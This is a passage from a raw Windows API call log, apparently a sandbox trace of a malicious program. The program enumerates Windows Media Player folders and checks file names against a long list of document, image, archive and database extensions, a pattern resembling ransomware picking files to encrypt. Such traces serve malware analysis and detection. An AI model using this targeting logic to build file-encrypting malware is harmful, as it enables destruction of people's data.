lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.913] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.914] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.914] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.914] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0 [0139.914] FindClose (in: hFindFile=0x3e5bb98 | out: hFindFile=0x3e5bb98) returned 1 [0139.914] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0139.914] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.914] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0139.914] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Icons") returned 43 [0139.914] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Icons\\*", lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0x3e5bb98 [0139.915] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.915] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0 [0139.915] FindClose (in: hFindFile=0x3e5bb98 | out: hFindFile=0x3e5bb98) returned 1 [0139.915] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0139.915] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.915] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0139.915] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Media Renderer") returned 52 [0139.915] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Media Renderer\\*", lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0x3e5bf58 [0139.918] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.918] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.918] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.918] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.918] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.918] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.918] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.918] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.918] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.918] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0 [0139.919] FindClose (in: hFindFile=0x3e5bf58 | out: hFindFile=0x3e5bf58) returned 1 [0139.919] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0139.919] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.919] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.919] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0139.919] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Network Sharing") returned 53 [0139.919] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Network Sharing\\*", lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0x3e5bb98 [0139.921] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.921] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.921] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.921] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.921] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.921] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.921] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.921] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.921] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.921] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.921] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.921] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0 [0139.921] FindClose (in: hFindFile=0x3e5bb98 | out: hFindFile=0x3e5bb98) returned 1 [0139.922] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0139.922] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.922] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.922] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0139.922] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Skins") returned 43 [0139.922] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Skins\\*", lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0x3e5bb98 [0139.923] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.923] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.923] FindNextFileW (in: hFindFile=0x3e5bb98, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0 [0139.923] FindClose (in: hFindFile=0x3e5bb98 | out: hFindFile=0x3e5bb98) returned 1 [0139.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0139.924] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.924] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x3dc0740 [0139.924] lstrlenW (lpString="C:\\Program Files\\Windows Media Player\\Visualizations") returned 52 [0139.924] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Media Player\\Visualizations\\*", lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0x3e5bf58 [0139.924] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 1 [0139.924] FindNextFileW (in: hFindFile=0x3e5bf58, lpFindFileData=0x3a0f584 | out: lpFindFileData=0x3a0f584) returned 0 [0139.924] FindClose (in: hFindFile=0x3e5bf58 | out: hFindFile=0x3e5bf58) returned 1 [0139.924] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x3dc0740 | out: hHeap=0x510000) returned 1 [0139.924] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.924] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.924] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.924] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.924] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.924] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0139.925] FindNextFileW (in: hFindFile=0x3e5ba18, lpFindFileData=0x3a0f800 | out: lpFindFileData=0x3a0f800) returned 1 [0140.017] lstrlenW (lpString="wmpnssci.dll") returned 12 [0140.017] lstrlenW (lpString=".1cd") returned 4 [0140.017] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0140.017] lstrlenW (lpString=".3ds") returned 4 [0140.017] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1 [0140.017] lstrlenW (lpString=".3fr") returned 4 [0140.018] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1 [0140.018] lstrlenW (lpString=".3g2") returned 4 [0140.018] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1 [0140.018] lstrlenW (lpString=".3gp") returned 4 [0140.018] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1 [0140.018] lstrlenW (lpString=".7z") returned 3 [0140.018] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0140.018] lstrlenW (lpString=".accda") returned 6 [0140.018] lstrcmpiW (lpString1=".accda", lpString2="ci.dll") returned -1 [0140.018] lstrlenW (lpString=".accdb") returned 6 [0140.018] lstrcmpiW (lpString1=".accdb", lpString2="ci.dll") returned -1 [0140.018] lstrlenW (lpString=".accdc") returned 6 [0140.018] lstrcmpiW (lpString1=".accdc", lpString2="ci.dll") returned -1 [0140.018] lstrlenW (lpString=".accde") returned 6 [0140.018] lstrcmpiW (lpString1=".accde", lpString2="ci.dll") returned -1 [0140.018] lstrlenW (lpString=".accdt") returned 6 [0140.018] lstrcmpiW (lpString1=".accdt", lpString2="ci.dll") returned -1 [0140.018] lstrlenW (lpString=".accdw") returned 6 [0140.018] lstrcmpiW (lpString1=".accdw", lpString2="ci.dll") returned -1 [0140.018] lstrlenW (lpString=".adb") returned 4 [0140.018] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1 [0140.018] lstrlenW (lpString=".adp") returned 4 [0140.018] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1 [0140.018] lstrlenW (lpString=".ai") returned 3 [0140.018] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1 [0140.018] lstrlenW (lpString=".ai3") returned 4 [0140.018] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1 [0140.018] lstrlenW (lpString=".ai4") returned 4 [0140.018] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1 [0140.018] lstrlenW (lpString=".ai5") returned 4 [0140.019] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1 [0140.019] lstrlenW (lpString=".ai6") returned 4 [0140.019] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1 [0140.019] lstrlenW (lpString=".ai7") returned 4 [0140.019] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1 [0140.019] lstrlenW (lpString=".ai8") returned 4 [0140.019] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1 [0140.019] lstrlenW (lpString=".anim") returned 5 [0140.019] lstrcmpiW (lpString1=".anim", lpString2="i.dll") returned -1 [0140.019] lstrlenW (lpString=".arw") returned 4 [0140.019] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1 [0140.019] lstrlenW (lpString=".as") returned 3 [0140.019] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1 [0140.019] lstrlenW (lpString=".asa") returned 4 [0140.019] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1 [0140.019] lstrlenW (lpString=".asc") returned 4 [0140.019] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1 [0140.019] lstrlenW (lpString=".ascx") returned 5 [0140.019] lstrcmpiW (lpString1=".ascx", lpString2="i.dll") returned -1 [0140.019] lstrlenW (lpString=".asm") returned 4 [0140.019] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1 [0140.019] lstrlenW (lpString=".asmx") returned 5 [0140.019] lstrcmpiW (lpString1=".asmx", lpString2="i.dll") returned -1 [0140.019] lstrlenW (lpString=".asp") returned 4 [0140.019] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1 [0140.019] lstrlenW (lpString=".aspx") returned 5 [0140.019] lstrcmpiW (lpString1=".aspx", lpString2="i.dll") returned -1 [0140.019] lstrlenW (lpString=".asr") returned 4 [0140.019] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1 [0140.020] lstrlenW (lpString=".asx") returned 4 [0140.020] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1 [0140.020] lstrlenW (lpString=".avi") returned 4 [0140.020] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1 [0140.020] lstrlenW (lpString=".avs") returned 4 [0140.020] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1 [0140.020] lstrlenW (lpString=".backup") returned 7 [0140.020] lstrcmpiW (lpString1=".backup", lpString2="sci.dll") returned -1 [0140.020] lstrlenW (lpString=".bak") returned 4 [0140.020] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1 [0140.020] lstrlenW (lpString=".bay") returned 4 [0140.044] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1 [0140.044] lstrlenW (lpString=".bd") returned 3 [0140.044] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1 [0140.044] lstrlenW (lpString=".bin") returned 4 [0140.044] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1 [0140.044] lstrlenW (lpString=".bmp") returned 4 [0140.045] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1 [0140.045] lstrlenW (lpString=".bz2") returned 4 [0140.045] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0140.045] lstrlenW (lpString=".c") returned 2 [0140.045] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1 [0140.045] lstrlenW (lpString=".cdr") returned 4 [0140.045] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1 [0140.045] lstrlenW (lpString=".cer") returned 4 [0140.045] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1 [0140.045] lstrlenW (lpString=".cf") returned 3 [0140.045] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1 [0140.045] lstrlenW (lpString=".cfc") returned 4 [0140.045] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1 [0140.045] lstrlenW (lpString=".cfm") returned 4 [0140.045] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1 [0140.045] lstrlenW (lpString=".cfml") returned 5 [0140.045] lstrcmpiW (lpString1=".cfml", lpString2="i.dll") returned -1 [0140.045] lstrlenW (lpString=".cfu") returned 4 [0140.045] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1 [0140.045] lstrlenW (lpString=".chm") returned 4 [0140.045] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1 [0140.045] lstrlenW (lpString=".cin") returned 4 [0140.045] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1 [0140.045] lstrlenW (lpString=".class") returned 6 [0140.045] lstrcmpiW (lpString1=".class", lpString2="ci.dll") returned -1 [0140.050] lstrlenW (lpString=".clx") returned 4 [0140.050] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1 [0140.050] lstrlenW (lpString=".config") returned 7 [0140.050] lstrcmpiW (lpString1=".config", lpString2="sci.dll") returned -1 [0140.050] lstrlenW (lpString=".cpp") returned 4 [0140.050] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1 [0140.050] lstrlenW (lpString=".cr2") returned 4 [0140.050] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1 [0140.050] lstrlenW (lpString=".crt") returned 4 [0140.050] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1 [0140.050] lstrlenW (lpString=".crw") returned 4 [0140.050] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1 [0140.050] lstrlenW (lpString=".cs") returned 3 [0140.050] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1 [0140.050] lstrlenW (lpString=".css") returned 4 [0140.050] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1 [0140.050] lstrlenW (lpString=".csv") returned 4 [0140.050] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1 [0140.050] lstrlenW (lpString=".cub") returned 4 [0140.050] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1 [0140.050] lstrlenW (lpString=".dae") returned 4 [0140.050] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1 [0140.050] lstrlenW (lpString=".dat") returned 4 [0140.050] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1 [0140.050] lstrlenW (lpString=".db") returned 3 [0140.051] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1 [0140.051] lstrlenW (lpString=".dbf") returned 4 [0140.051] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0140.051] lstrlenW (lpString=".dbx") returned 4 [0140.051] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1 [0140.051] lstrlenW (lpString=".dc3") returned 4 [0140.051] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1 [0140.051] lstrlenW (lpString=".dcm") returned 4 [0140.051] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1 [0140.051] lstrlenW (lpString=".dcr") returned 4 [0140.051] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1 [0140.051] lstrlenW (lpString=".der") returned 4 [0140.051] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1 [0140.051] lstrlenW (lpString=".dib") returned 4 [0140.051] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1 [0140.051] lstrlenW (lpString=".dic") returned 4 [0140.051] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1 [0140.051] lstrlenW (lpString=".dif") returned 4 [0140.051] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1 [0140.051] lstrlenW (lpString=".divx") returned 5 [0140.051] lstrcmpiW (lpString1=".divx", lpString2="i.dll") returned -1 [0140.051] lstrlenW (lpString=".djvu") returned 5 [0140.051] lstrcmpiW (lpString1=".djvu", lpString2="i.dll") returned -1 [0140.051] lstrlenW (lpString=".dng") returned 4 [0140.051] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1 [0140.051] lstrlenW (lpString=".doc") returned 4 [0140.051] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0140.051] lstrlenW (lpString=".docm") returned 5 [0140.051] lstrcmpiW (lpString1=".docm", lpString2="i.dll") returned -1 [0140.051] lstrlenW (lpString=".docx") returned 5 [0140.051] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0140.051] lstrlenW (lpString=".dot") returned 4 [0140.052] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1 [0140.052] lstrlenW (lpString=".dotm") returned 5 [0140.052] lstrcmpiW (lpString1=".dotm", lpString2="i.dll") returned -1 [0140.052] lstrlenW (lpString=".dotx") returned 5 [0140.052] lstrcmpiW (lpString1=".dotx", lpString2="i.dll") returned -1 [0140.052] lstrlenW (lpString=".dpx") returned 4 [0140.052] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1 [0140.052] lstrlenW (lpString=".dqy") returned 4 [0140.052] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1 [0140.052] lstrlenW (lpString=".dsn") returned 4 [0140.052] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1 [0140.052] lstrlenW (lpString=".dt") returned 3 [0140.052] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1 [0140.052] lstrlenW (lpString=".dtd") returned 4 [0140.052] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1 [0140.052] lstrlenW (lpString=".dwg") returned 4 [0140.052] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1 [0140.052] lstrlenW (lpString=".dwt") returned 4 [0140.052] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1 [0140.052] lstrlenW (lpString=".dx") returned 3 [0140.052] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1 [0140.052] lstrlenW (lpString=".dxf") returned 4 [0140.052] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1 [0140.052] lstrlenW (lpString=".edml") returned 5 [0140.052] lstrcmpiW (lpString1=".edml", lpString2="i.dll") returned -1 [0140.052] lstrlenW (lpString=".efd") returned 4 [0140.052] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1 [0140.052] lstrlenW (lpString=".elf") returned 4 [0140.052] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1 [0140.052] lstrlenW (lpString=".emf") returned 4 [0140.052] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1 [0140.053] lstrlenW (lpString=".emz") returned 4 [0140.053] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1 [0140.053] lstrlenW (lpString=".epf") returned 4 [0140.053] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1 [0140.053] lstrlenW (lpString=".eps") returned 4 [0140.053] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1 [0140.053] lstrlenW (lpString=".epsf") returned 5 [0140.053] lstrcmpiW (lpString1=".epsf", lpString2="i.dll") returned -1 [0140.053] lstrlenW (lpString=".epsp") returned 5 [0140.053] lstrcmpiW (lpString1=".epsp", lpString2="i.dll") returned -1 [0140.053] lstrlenW (lpString=".erf") returned 4 [0140.053] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1 [0140.053] lstrlenW (lpString=".exr") returned 4 [0140.053] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1 [0140.053] lstrlenW (lpString=".f4v") returned 4 [0140.053] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1 [0140.053] lstrlenW (lpString=".fido") returned 5 [0140.053] lstrcmpiW (lpString1=".fido", lpString2="i.dll") returned -1 [0140.053] lstrlenW (lpString=".flm") returned 4 [0140.053] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1 [0140.053] lstrlenW (lpString=".flv") returned 4 [0140.053] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1 [0140.053] lstrlenW (lpString=".frm") returned 4 [0140.053] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1 [0140.053] lstrlenW (lpString=".fxg") returned 4 [0140.053] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1 [0140.053] lstrlenW (lpString=".geo") returned 4 [0140.053] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1 [0140.053] lstrlenW (lpString=".gif") returned 4 [0140.053] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1 [0140.053] lstrlenW (lpString=".grs") returned 4 [0140.053] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1 [0140.054] lstrlenW (lpString=".gz") returned 3 [0140.066] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1 [0140.066] lstrlenW (lpString=".h") returned 2 [0140.066] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1 [0140.066] lstrlenW (lpString=".hdr") returned 4 [0140.066] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1 [0140.066] lstrlenW (lpString=".hpp") returned 4 [0140.066] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1 [0140.066] lstrlenW (lpString=".hta") returned 4 [0140.066] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1 [0140.066] lstrlenW (lpString=".htc") returned 4 [0140.066] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1 [0140.066] lstrlenW (lpString=".htm") returned 4 [0140.066] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1 [0140.066] lstrlenW (lpString=".html") returned 5 [0140.066] lstrcmpiW (lpString1=".html", lpString2="i.dll") returned -1 [0140.066] lstrlenW (lpString=".icb") returned 4 [0140.066] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1 [0140.066] lstrlenW (lpString=".ics") returned 4 [0140.066] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1 [0140.066] lstrlenW (lpString=".iff") returned 4 [0140.066] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1 [0140.066] lstrlenW (lpString=".inc") returned 4 [0140.066] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1 [0140.066] lstrlenW (lpString=".indd") returned 5 [0140.066] lstrcmpiW (lpString1=".indd", lpString2="i.dll") returned -1 [0140.066] lstrlenW (lpString=".ini") returned 4 [0140.066] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1 [0140.066] lstrlenW (lpString=".iqy") returned 4 [0140.066] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1 [0140.067] lstrlenW (lpString=".j2c") returned 4 [0140.067] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1 [0140.067] lstrlenW (lpString=".j2k") returned 4 [0140.067] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1 [0140.067] lstrlenW (lpString=".java") returned 5 [0140.067] lstrcmpiW (lpString1=".java", lpString2="i.dll") returned -1 [0140.067] lstrlenW (lpString=".jp2") returned 4 [0140.067] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1 [0140.067] lstrlenW (lpString=".jpc") returned 4 [0140.067] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1 [0140.067] lstrlenW (lpString=".jpe") returned 4 [0140.067] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1 [0140.067] lstrlenW (lpString=".jpeg") returned 5 [0140.067] lstrcmpiW (lpString1=".jpeg", lpString2="i.dll") returned -1 [0140.067] lstrlenW (lpString=".jpf") returned 4 [0140.120] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1 [0140.120] lstrlenW (lpString=".jpg") returned 4 [0140.120] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0140.120] lstrlenW (lpString=".jpx") returned 4 [0140.120] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1 [0140.120] lstrlenW (lpString=".js") returned 3 [0140.120] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1 [0140.121] lstrlenW (lpString=".jsf") returned 4 [0140.121] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1 [0140.121] lstrlenW (lpString=".json") returned 5 [0140.121] lstrcmpiW (lpString1=".json", lpString2="i.dll") returned -1 [0140.121] lstrlenW (lpString=".jsp") returned 4 [0140.121] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1 [0140.121] lstrlenW (lpString=".kdc") returned 4 [0140.121] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1 [0140.121] lstrlenW (lpString=".kmz") returned 4 [0140.121] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1 [0140.121] lstrlenW (lpString=".kwm") returned 4 [0140.121] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1 [0140.121] lstrlenW (lpString=".lasso") returned 6 [0140.121] lstrcmpiW (lpString1=".lasso", lpString2="ci.dll") returned -1 [0140.121] lstrlenW (lpString=".lbi") returned 4 [0140.121] lstrcmpiW (lpString1=".lbi", lpString2=".dll") returned 1 [0140.121] lstrlenW (lpString=".lgf") returned 4 [0140.121] lstrcmpiW (lpString1=".lgf", lpString2=".dll") returned 1 [0140.121] lstrlenW (lpString=".lgp") returned 4 [0140.121] lstrcmpiW (lpString1=".lgp", lpString2=".dll") returned 1 [0140.121] lstrlenW (lpString=".log") returned 4 [0140.121] lstrcmpiW (lpString1=".log", lpString2=".dll") returned 1 [0140.121] lstrlenW (lpString=".m1v") returned 4 [0140.121] lstrcmpiW (lpString1=".m1v", lpString2=".dll") returned 1 [0140.121] lstrlenW (lpString=".m4a") returned 4 [0140.121] lstrcmpiW (lpString1=".m4a", lpString2=".dll") returned 1 [0140.121] lstrlenW 